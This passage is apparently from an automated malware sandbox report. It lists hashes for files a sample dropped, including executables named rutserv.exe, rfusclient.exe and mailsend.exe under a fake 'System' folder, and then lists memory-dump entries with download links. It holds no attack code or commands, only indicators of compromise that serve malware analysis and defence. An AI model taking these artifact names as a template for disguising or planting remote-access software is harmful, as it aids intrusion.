SHA256
4c04d7968a9fe9d9258968d3a722263334bbf5f8af972f206a71f17fa293aa74

SHA512
5d88562b6c6d2a5b14390512712819238cd838914f7c48a27f017827cb9b825c24ff05a30333427acec93cd836e8f04158b86d17e6ac3dd62c55b2e2ff4e2aff

Download Submit
C:\Program Files (x86)\System\vp8encoder.dll
MD5
6298c0af3d1d563834a218a9cc9f54bd

SHA1
0185cd591e454ed072e5a5077b25c612f6849dc9

SHA256
81af82019d9f45a697a8ca1788f2c5c0205af9892efd94879dedf4bc06db4172

SHA512
389d89053689537cdb582c0e8a7951a84549f0c36484db4346c31bdbe7cb93141f6a354069eb13e550297dc8ec35cd6899746e0c16abc876a0fe542cc450fffe

Download Submit
C:\Users\Admin\AppData\Roaming\1.exe
MD5
1616d70a724f3c740921ba85d8fa0b00

SHA1
94cb582b3b6010a4a33f3e0769ecbc0e5a286234

SHA256
69a798802436e5ec7c7226cd8e7eeb4fca0bbf801af3c2f16559b32b2b7eddf8

SHA512
82776715fcdd31f47ae59eb143a43a24cda1189c8d4f41461d105f3d12f61c6334c74432ea0d9dd7b68fb69c55259f304bc266bf64873eb63aa4265712255f0d

Download Submit
C:\Users\Admin\AppData\Roaming\1.exe
MD5
1616d70a724f3c740921ba85d8fa0b00

SHA1
94cb582b3b6010a4a33f3e0769ecbc0e5a286234

SHA256
69a798802436e5ec7c7226cd8e7eeb4fca0bbf801af3c2f16559b32b2b7eddf8

SHA512
82776715fcdd31f47ae59eb143a43a24cda1189c8d4f41461d105f3d12f61c6334c74432ea0d9dd7b68fb69c55259f304bc266bf64873eb63aa4265712255f0d

Download Submit
\Program Files (x86)\%appdata$\2.exe
MD5
35601703ada5c7ecd4f77d8927bbf7e3

SHA1
dc153c373353d511c31e2eb2528434d04a767939

SHA256
24ea4a81d1cd495ff4e5dde85e0c81cf98212a37825e5f8bd2f6c9b64db00b75

SHA512
48ca2b26efc6cccea009594a2f3cbfc2f8742f7fd3feaf04f13a7bbd53963ba1dd69d4d9cfbdd3a44c9afc56b7e30cf7bc603c3ad97b17223c6c6a120da2b225

Download Submit
\Program Files (x86)\System\mailsend.exe
MD5
ac23b87f8ec60ddd3f555556f89a6af8

SHA1
3cea6f84757d15ee8d7fa19d3dfc4992c50aa90c

SHA256
80a1d0a15066c7af67cf5377e59e450c2a96018505236f8f3352173282b27ae4

SHA512
57e67eab9c2a3b94161500eb0091533a539454e9bfddd47c61477299de9455b7ca11c498c5d8a7d77f4763a2053acb4ff96868a9313fede29969edc16d35b167

Download Submit
\Program Files (x86)\System\mailsend.exe
MD5
ac23b87f8ec60ddd3f555556f89a6af8

SHA1
3cea6f84757d15ee8d7fa19d3dfc4992c50aa90c

SHA256
80a1d0a15066c7af67cf5377e59e450c2a96018505236f8f3352173282b27ae4

SHA512
57e67eab9c2a3b94161500eb0091533a539454e9bfddd47c61477299de9455b7ca11c498c5d8a7d77f4763a2053acb4ff96868a9313fede29969edc16d35b167

Download Submit
\Program Files (x86)\System\rfusclient.exe
MD5
b8667a1e84567fcf7821bcefb6a444af

SHA1
9c1f91fe77ad357c8f81205d65c9067a270d61f0

SHA256
dc9d875e659421a51addd8e8a362c926369e84320ab0c5d8bbb1e4d12d372fc9

SHA512
ec6af663a3b41719d684f04504746f91196105ef6f8baa013b4bd02df6684eca49049d5517691f8e3a4ba6351fe35545a27f728b1d29d949e950d574a012f852

Download Submit
\Program Files (x86)\System\rfusclient.exe
MD5
b8667a1e84567fcf7821bcefb6a444af

SHA1
9c1f91fe77ad357c8f81205d65c9067a270d61f0

SHA256
dc9d875e659421a51addd8e8a362c926369e84320ab0c5d8bbb1e4d12d372fc9

SHA512
ec6af663a3b41719d684f04504746f91196105ef6f8baa013b4bd02df6684eca49049d5517691f8e3a4ba6351fe35545a27f728b1d29d949e950d574a012f852

Download Submit
\Program Files (x86)\System\rutserv.exe
MD5
37a8802017a212bb7f5255abc7857969

SHA1
cb10c0d343c54538d12db8ed664d0a1fa35b6109

SHA256
1699b9b4fc1724f9b0918b57ca58c453829a3935efd89bd4e9fa66b5e9f2b8a6

SHA512
4e20141da8ea4499daf8be5cc41b664dc4229e9575765caf6dc5873d8d0a09f9e200988e1404e767d0415005876a4cf38d5737bd3e1b2c12c4a8fb28adb4f0a0

Download Submit
\Program Files (x86)\System\rutserv.exe
MD5
37a8802017a212bb7f5255abc7857969

SHA1
cb10c0d343c54538d12db8ed664d0a1fa35b6109

SHA256
1699b9b4fc1724f9b0918b57ca58c453829a3935efd89bd4e9fa66b5e9f2b8a6

SHA512
4e20141da8ea4499daf8be5cc41b664dc4229e9575765caf6dc5873d8d0a09f9e200988e1404e767d0415005876a4cf38d5737bd3e1b2c12c4a8fb28adb4f0a0

Download Submit
\Program Files (x86)\System\rutserv.exe
MD5
37a8802017a212bb7f5255abc7857969

SHA1
cb10c0d343c54538d12db8ed664d0a1fa35b6109

SHA256
1699b9b4fc1724f9b0918b57ca58c453829a3935efd89bd4e9fa66b5e9f2b8a6

SHA512
4e20141da8ea4499daf8be5cc41b664dc4229e9575765caf6dc5873d8d0a09f9e200988e1404e767d0415005876a4cf38d5737bd3e1b2c12c4a8fb28adb4f0a0

Download Submit
\Users\Admin\AppData\Roaming\1.exe
MD5
1616d70a724f3c740921ba85d8fa0b00

SHA1
94cb582b3b6010a4a33f3e0769ecbc0e5a286234

SHA256
69a798802436e5ec7c7226cd8e7eeb4fca0bbf801af3c2f16559b32b2b7eddf8

SHA512
82776715fcdd31f47ae59eb143a43a24cda1189c8d4f41461d105f3d12f61c6334c74432ea0d9dd7b68fb69c55259f304bc266bf64873eb63aa4265712255f0d

Download Submit
\Users\Admin\AppData\Roaming\1.exe
MD5
1616d70a724f3c740921ba85d8fa0b00

SHA1
94cb582b3b6010a4a33f3e0769ecbc0e5a286234

SHA256
69a798802436e5ec7c7226cd8e7eeb4fca0bbf801af3c2f16559b32b2b7eddf8

SHA512
82776715fcdd31f47ae59eb143a43a24cda1189c8d4f41461d105f3d12f61c6334c74432ea0d9dd7b68fb69c55259f304bc266bf64873eb63aa4265712255f0d

Download Submit
\Users\Admin\AppData\Roaming\1.exe
MD5
1616d70a724f3c740921ba85d8fa0b00

SHA1
94cb582b3b6010a4a33f3e0769ecbc0e5a286234

SHA256
69a798802436e5ec7c7226cd8e7eeb4fca0bbf801af3c2f16559b32b2b7eddf8

SHA512
82776715fcdd31f47ae59eb143a43a24cda1189c8d4f41461d105f3d12f61c6334c74432ea0d9dd7b68fb69c55259f304bc266bf64873eb63aa4265712255f0d

Download Submit
memory/268-126-0x0000000000240000-0x0000000000241000-memory.dmp

Filesize
4KB

Download
memory/268-121-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/268-122-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/268-116-0x0000000000000000-mapping.dmp

Download
memory/280-70-0x0000000000000000-mapping.dmp

Download
memory/368-175-0x0000000000000000-mapping.dmp

Download
memory/368-178-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/368-179-0x0000000000230000-0x0000000000231000-memory.dmp

Filesize
4KB

Download
memory/440-78-0x0000000000000000-mapping.dmp

Download
memory/524-167-0x0000000000000000-mapping.dmp

Download
memory/596-133-0x0000000000240000-0x0000000000241000-memory.dmp

Filesize
4KB

Download
memory/596-124-0x0000000000000000-mapping.dmp

Download
memory/596-84-0x0000000000000000-mapping.dmp

Download
memory/596-128-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/596-165-0x0000000000000000-mapping.dmp

Download
memory/972-108-0x0000000000000000-mapping.dmp

Download
memory/1016-169-0x0000000000000000-mapping.dmp

Download
memory/1116-82-0x0000000000000000-mapping.dmp

Download
memory/1124-104-0x0000000000000000-mapping.dmp

Download
memory/1156-106-0x0000000000000000-mapping.dmp

Download
memory/1156-143-0x0000000000000000-mapping.dmp

Download
memory/1188-80-0x0000000000000000-mapping.dmp

Download
memory/1336-74-0x0000000000000000-mapping.dmp

Download
memory/1336-147-0x0000000000000000-mapping.dmp

Download
memory/1528-151-0x0000000000000000-mapping.dmp

Download
memory/1548-155-0x0000000000000000-mapping.dmp

Download
memory/1552-86-0x0000000000000000-mapping.dmp

Download
memory/1588-161-0x0000000000000000-mapping.dmp

Download
memory/1620-98-0x0000000000000000-mapping.dmp

Download
memory/1640-157-0x0000000000000000-mapping.dmp

Download
memory/1648-171-0x0000000000000000-mapping.dmp

Download
memory/1684-119-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1684-120-0x0000000000240000-0x0000000000241000-memory.dmp

Filesize
4KB

Download
memory/1684-111-0x0000000000000000-mapping.dmp

Download
memory/1684-114-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1692-138-0x0000000000000000-mapping.dmp

Download
memory/1692-146-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/1692-150-0x0000000000230000-0x0000000000231000-memory.dmp

Filesize
4KB

Download
memory/1716-144-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/1716-137-0x0000000000000000-mapping.dmp

Download
memory/1716-148-0x00000000001C0000-0x00000000001C1000-memory.dmp

Filesize
4KB

Download
memory/1728-64-0x0000000000000000-mapping.dmp

Download
memory/1744-100-0x0000000000000000-mapping.dmp

Download
memory/1764-135-0x0000000000230000-0x0000000000231000-memory.dmp

Filesize
4KB

Download
memory/1764-131-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1796-88-0x0000000000000000-mapping.dmp

Download
memory/1852-173-0x0000000000000000-mapping.dmp

Download
memory/1896-153-0x0000000000000000-mapping.dmp

Download
memory/1976-60-0x0000000000000000-mapping.dmp

Download
memory/2004-102-0x0000000000000000-mapping.dmp

Download
memory/2012-96-0x0000000000000000-mapping.dmp

Download
memory/2040-59-0x0000000076281000-0x0000000076283000-memory.dmp

Filesize
8KB

Download